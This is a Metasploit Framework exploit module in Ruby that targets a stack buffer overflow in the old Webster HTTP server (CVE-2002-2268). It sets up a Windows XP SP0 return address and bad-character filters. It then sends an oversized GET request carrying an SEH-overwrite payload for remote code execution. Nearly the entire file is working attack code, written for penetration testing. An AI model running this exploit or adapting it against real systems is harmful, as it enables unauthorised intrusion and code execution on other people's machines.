63 lines
1.8 KiB
Ruby
63 lines
1.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Webster HTTP Server GET Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in the Webster HTTP server.
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The server and source code was released within an article from
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the Microsoft Systems Journal in February 1996 titled "Write a
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Simple HTTP-based Server Using MFC and Windows Sockets".
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},
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'Author' => [ 'patrick' ],
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'References' =>
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[
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[ 'CVE', '2002-2268' ],
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[ 'OSVDB', '44106' ],
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[ 'BID', '6289' ],
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[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
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[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
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[ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets.
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],
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'DisclosureDate' => 'Dec 02 2002',
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'DefaultTarget' => 0))
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end
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def exploit
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print_status("Sending request...")
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seh = generate_seh_payload(target.ret)
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send_request_raw({
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'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
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}, 2)
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handler
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end
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end
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